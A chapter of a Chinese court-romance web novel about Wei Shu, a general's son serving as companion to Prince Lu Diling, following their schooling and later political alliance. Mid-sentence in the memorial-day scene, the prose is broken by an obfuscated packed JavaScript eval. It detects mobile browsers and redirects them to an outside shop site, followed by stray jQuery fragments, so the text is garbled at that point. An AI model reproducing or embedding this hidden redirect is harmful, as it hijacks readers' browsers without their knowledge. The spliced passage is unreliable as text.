圣旨到卫府时，我正被父亲用弓梢压着手腕。
“再抬一寸。”
我依言抬起，箭尾跟着往下沉。父亲用弓梢敲了一记，叫我重来。第二支箭还在弦上，前院传来一阵急促脚步，管家赶到校场，说宫里来了人。
父亲收起弓，先叫我把那一箭射完。
宣旨的内侍已经在正堂候着，旨意命大将军卫慬之子卫树入宫，伴皇子棣昤读书。父亲接旨后留内侍喝了一盏茶，亲自将人送出正堂，回来便叫我明早入宫。
“宫里那么多皇子，为何选我陪他？”
“诸皇子身边都有人。陛下点你，未必为了那位殿下。”父亲把圣旨卷好，交给管家，“你是我的独子，放在宫里，比留在家中更方便叫人看。”
“每日散学便随内侍出来。若奉令留读，宫里自会传话，夜里住外值房。还有一件，”父亲看着我，“你进宫读书，可以同殿下论文章，卫家的兵和人情轮不到你拿去做人情。”
“我记下了。”
第二日天还灰着，卫府的车便把我送到了宫中。
殿里燃着沉香，几位皇子已经到了。有人倚着椅背同身边人说笑，有人翻书，有人把手炉抱在怀里，脸上带着还未睡醒的倦意。
陆棣昤与陆棣铭的位置靠后。兄弟二人生得一样，发冠与衣料也相近。陆棣铭先回头看我，手里的书卷成一筒，在膝上敲了两下；陆棣昤坐在另一侧，案上的纸按大小叠好，目光只在我身上停了一瞬。
内侍将我引到陆棣昤身边。我行了礼，他叫人添了一张案。
“你就是那个卫将军家的独子？”陆棣铭问。
我才要回答，陆棣昤道：“先生来了。”
陆棣铭把书摊开，翻了两页才找准今日讲的地方。
先生讲《尚书》，讲到“任贤勿贰，去邪勿疑”。旁的皇子有人点头，有人偷看窗外。陆棣昤在纸上写下几个字，又在旁边添了一行小注。
我无意瞥见。
他写的是：用人贵在可控。
我偏过脸看他，只看见他清瘦的侧脸。少年人眉眼还未彻底长开，鼻梁却已显出锋利，窗外光照得他脸色有些白。
后来我常同他一道听课。
伴读之职，说来光鲜，实际拘谨。清晨入宫，日暮前出宫。宫门一合，各归各处。偶尔奉令留读，宫中会提前传话，夜里只住外值房。我们两案相邻，可以替皇子磨墨，可以陪他读书、习字、骑射，却不能越过规矩留在宫中。黄昏内侍来催时，我便收拾书册，向他行礼告退。
最初几日，他与我话很少。
他问我父亲近来可安，问卫家军中可有北地旧将，问我读过哪些书，练过什么兵器。
我答得也谨慎。
他听完，不多追问，只在第二日将一卷边地舆图放到案上。
“你可看得懂？”
我低头看去。
那是一卷旧图，燕云、朔州、平州一线都画得很细，山口、河谷、旧道旁还有朱笔小字。舆图边角磨损，显然被人翻过很多次。
我问：“殿下想看哪里？”
他指向北边一处关口。
“若敌军自此入境，京中调兵，几日能到？”
我看着图，没有立刻答。
他抬眼看我。
我那时忽然生出一点少年人的气，觉得他问得刁钻，也觉得自己若答得含糊，往后在他跟前便只能替他研墨递书。我拿起笔，在图上点了几处。
“若只调京营，慢。若先令平州守军合兵，再调朔州骑兵截后，能快两日。可粮草要从这里走。”
我指到一条旧道。
陆棣昤看着那处，眼神微亮。
“此道窄。”
“窄，所以难走，也难防。”我道，“若有人先守在这里，后头便都堵住了。”
他低声道：“卫将军教你的？”
“父亲教过一点。”
“只一点？”
我看向他。
他也看着我。
那一刻，我忽然觉得殿中沉香太浓，窗外光也太亮。我们之间隔着一张舆图，指尖都落在那条旧道附近。再近一寸，便会碰到。
我先收回手。
他也低头，拿笔在那处画了一圈。
“那往后你多教我一点。”
宫里的皇子说话，哪怕再亲和，也常像命令。可那一日，他说“教我”时，语气里带着的一点认真像他真把我当成朋友，而非只会站在身后添墨的伴读。
我那时年少，心里难免生出几分得意，也生出几分说不清的亲近。
我做伴读的头几个月，大约有一半工夫都在惹他不悦。
他写策论，说以恩赏安抚边军。我问赏谁、赏多少、银子从哪里出。他让我写，我写到一半也算不出调兵后的粮耗。他便坐在旁边等，等到我搁笔，才问：“卫家的见识到这里便用尽了？”
习射时也一样。他连失两箭，教习说风向有变。我在后面站了片刻，道：“是手腕。”
陆棣昤把弓递给我。我射中靠里的红圈，他瞧着箭尾。
“你也偏了。”
“臣今日练得少。”
“我昨夜也读得晚。”
他照我的握法重新扣弦，第三箭近了许多。我叫他再抬手腕，第四箭终于落入正心。弦在他手指上磨出红痕，我把自己的护指递过去。
“你的。”
“我还有。”
其实只剩这一个。
那枚护指后来一直留在陆棣昤的弓匣里。他未提归还，我也未讨。
陆棣铭有一回换了兄长的衣冠，坐到兄长的位置上，叫我把新改的文章拿给他。我绕过他，将纸放到窗边那张案上。
“你怎么知道我不是哥哥？”后来陆棣铭问。
“只有您拿书会先把封皮摸许久都不翻开。”
陆棣铭低头看了一眼，笑得趴在案上。陆棣昤嫌他聒噪，叫他先把自己的功课补齐。兄弟二人拌了几句嘴，陆棣铭临走时还问我，伴读究竟是谁的人。
我答：“圣旨上写的是谁，便是谁。”
陆棣昤正在收那篇文章，闻言抬头看了我一眼。
陛下有一回亲自来考校诸子。
他年纪已长，鬓边带着白。几位年长的皇子已经各领差事，陆棣昤仍同一群少年候在末列。陛下坐下后先问几位年长皇子的差事，又问其中一人近来读过什么边报。先生提起陆棣昤那篇兵饷策论，陛下接过去看了两段，只道一句尚可，叫他继续用功。
众人恭送圣驾。陆棣昤回到案边，把那篇文章从头翻了一遍。
“陛下已经夸了。”我说。
“可父皇今日先问的其他兄长。”
“他也看了殿下的文章。”
“先生递过去，他才看的。”
他说完便把文章放下，重新抄写陛下方才问过的几件边事。我替他磨墨，纸角列着其他兄长的名字，每个名字后面都记了陛下问过什么、那人如何回答。
“记这些做什么？”
“下回父皇再问，总要有人答得更好。”
陆棣铭从廊下探进半个身子，催他去看马。陆棣昤先问：“先生罚的字抄完了？”
“还差两页。”
“抄完再去。”
陆棣铭嘴里抱怨，仍抱着书回来坐下。陆棣昤把自己才磨好的墨推给他，又在那张写满兄长姓名的纸角添了一句，明日叫人问妹妹的咳嗽。
他写到末尾，将纸对折，夹进书中。那时我已隐约明白，他每日比旁人早来半个时辰，远不止为了先生的一句夸奖。
宫里也有人劝我省些力气。一位伴读见我接连几日留到掌灯，低声说，陆棣昤的母妃早逝，上头又有许多兄长，我随他熬再久，也未必能换来什么。
那日午膳送到书房，陆棣昤照例把自己案上的咸糕推给我，又端走了我一口也不碰的甜酪。
“看我做什么？”他问。
“殿下何时爱吃甜酪了？”
“省得你下午饿了，又来拿我的点心。”
“臣只拿过一回。”
“一回也是拿。”
下一次传膳，内侍仍给我的食案多添了一碟咸糕。
先生有一日叫我们论军功承袭。我写将门子弟自幼耳濡目染，熟悉军务，比临时选拔的人更堪任用。陆棣昤读到这一句，提笔圈住。
“凭什么？”
“从小见得多。”
“你见过几家？”
我报了几户将门。他逐一问下去，问这些人中谁真正去过边地，谁领过兵，谁只会在京中骑马宴饮。我答到第三个便停了。
“卫树，”他说，“你常嫌旁人的文章只会说漂亮话，轮到自己，也会拿卫家认识的几个人当成天下。”
这话刺耳，偏又有理。我划去那一段，另写从军年限与考校办法。第二日再交，他看完只说尚可。
我将他上一篇策论翻出来，圈出一句“百姓皆感圣恩”。
“殿下见过多少？”
陆棣昤抬头看我。
我把笔递过去：“也改。”
那一日我们各自重写一页。陆棣铭进来叫兄长去看新得的马，陆棣昤说文章还剩半篇。他又转头叫我，我指了指面前那页。
陆棣铭在两张案前站了一阵。
“你们两个倒相配得很嘛。”
我问：“配什么？”
“配在这里耗到天都黑了。”
陆棣昤拿笔杆敲他的袖子。陆棣铭笑着躲开，走出几步又回头道：“明日马叫人挑走，可别怪我。”
陆棣昤低头改他的“百姓皆感圣恩”，只回了一句：“挑走便挑走。”
但我知道那匹马其实是他看中许久的。
陆棣昤母妃祭日那天，雨从午后落到入夜。
陆棣昤从母妃灵位前回来，衣上带着香灰气。他叫内侍退到帘外，照常翻开先生留下的书。我抄完一页，他手里的那卷仍停在原处。
“殿下拿反了。”
他低头将书翻正，开始背诵。同一句连错两回，第三回又把两个字换了位置。
我合上自己的书：“今日便到这里。”
“先生明日要问。”
“明早再看。”
他仍要继续。我伸手按住书页，手背碰到他的指节。
“少读一卷，陛下也不会因此废了殿下的功课。”
陆棣昤看了我一阵，将手收了回去。
“你听着。”
他从头背起，我照常挑错。背到末尾时，雨势已经小了。我替他换过热茶，他喝完，终于放下书。
起身时，他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774657|203305||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
衣袖带到案角的陶镇纸。我伸手接住，边角仍磕出一道缺口。几日后，我从家中带来一枚青玉镇纸，先交给管书内侍验过，隔日才摆到他的案上。
“卫家的东西？”
“我的。”
“太贵重。”
“那枚陶的会划纸。”
他把青玉压在我替他改过的策论上。
“先用着。”
这一用便是许多年。
陆棣昤加冠以后，受封、娶裴氏，迁入京中的赐府。我也交还伴读名籍，入兵部职方司。父亲也替我定了一门亲事。
从前每日相见，成年以后，往来反而要有名目。职方司奉命送册入府，同行姓名、册数与时辰，王府长史都记在拜簿上。
有一回，陆棣昤为问燕云马场的数目，多留了我三刻。翌日回司，尚书把拜簿抄页丢到我面前。
“陛下问，同行的人酉时都走了，你为何留到酉正？”
“殿下还在问册上的数。”
“写清楚。问了什么，谁在外头当值，一字也别省。”
我写满一页，尚书又叫我补上府里端来的两盏茶。过了几日，我再去议军马，陆棣昤从青玉镇纸下抽出那页回报。
“连茶都记了？”
“少写一盏，尚书便要我重写。”
“父皇倒惦记你。”
“惦记的是卫家。”
他在“酉正”两字上按了按：“以后早些走。”
“殿下少留一册，我便走得早。”
陆棣昤抬眼看我，把尚未翻开的那册塞回公文里。
“今日准你早走。明日那份马册，叫旁人送。”
自那以后，我们在人前只谈职方司经手的事。若无朝廷交办的差遣，几个月见不上一回。先皇又查过几次拜簿，各府来往随之收敛，送进卫府的请帖却一年比一年客气。
又过了十余年，太子之位仍空着。几位皇子各领差事，朝中大臣也渐渐有了亲疏。父亲谁的宴都不赴，礼物照原样退回，只奉先皇的调令行事。
秋猎前，职方司奉命核验随驾京营的名册。陆棣昤也在受命参议的诸王之列，我随堂官进府，议完已经近暮。众人走后，长史抱着拜簿候在廊下，陆棣昤当着他的面留我核对一名校尉的履历。
等那名长史去取旧册，他才把一张薄纸推过来。纸上只写官职与字号，彼此以细线相连，几位皇子常用的人都在其中。
我指着一名京营校尉：“此人的妻兄管马，同一府来往很密。消息只有一处，先放着。”
“秋猎就在三日后。”
他揉了两下眉心，仍低头看纸。我把茶推过去
“棣昤，歇一刻。”
笔尖停在纸上。
廊下有人走动。我也在此时才觉出自己叫了什么。陆棣昤抬头看我，眉间留着方才按出的浅红。
“人前不可如此。”
“我知道。”
长史抱着旧册回来。我们把那名校尉在册上的履历核完，又当着他的面说了几句马政。等人退出外书房，陆棣昤才把薄纸压到青玉下面。
“你既处处防着，为何还来？”
“臣来办差。”
“我问的并非今日。”
窗外有人收起晾晒的书页，纸张相碰，发出细碎声响。
陆棣昤隔着书案看我。
纸上还列着几位皇子常去的府邸、京营里同各家相连的武官、陛下近月召见过的重臣。那些名字摆在一处，所求已经很清楚。
我出身卫家，父亲握兵，姐姐们嫁入高门，卫家在京中看似风光，实际每一步都被人盯着。我从小听父亲说谨慎，听得耳朵都起了茧。可同陆棣昤在一处时，我又明白这谨慎意味着什么。
陆棣昤问我：“卫树，若有一日诸皇子相争，卫家会站在哪里？”
我道：“殿下这话，臣不敢答。”
“这里没有旁人。”
“正因没有旁人，才更不敢。”
他看着我。
秋日的寒气从门外涌进来，带着干冷。我能听见自己心跳，也能看见他袖口一截白色中衣。我们离得很近，近到我若抬手，便能替他拂去肩上一点雨雾。
他低声道：“连你也不敢？”
我望着他，觉得从进宫伴读那日起，每一次宫墙下并肩而行都在逼我走到这句话面前。
思索后，我终于道：“我会帮你赢。”
我以为他会笑我，或者说一句好大的口气，可他只是伸手，从我手里接过那张纸。指尖擦过我手背。
他说：“卫树，记住你今日的话。”
我把薄纸拿到自己面前。那名校尉的一位姻亲，恰好同我姊姊的夫家来往。父亲早就同我说过，卫家的兵和人情轮不到我拿去做人情。
过了一会，陆棣昤又问：“卫将军怎么看？”
“他不知道，也不会表态。所以臣父亲与军中的人，请殿下暂且别碰。”
陆棣昤抬起眼：“你在同我讲条件？”
“殿下可以不答应。”
他隔着长案看了我一阵，把那名校尉的字号划去。
“明日先查别处。”
我吹熄快要烧尽的一盏灯，把青玉镇纸移到名册中央。余下那盏留在我们中间。陆棣昤重新拿起笔，沿着我指过的地方往下写。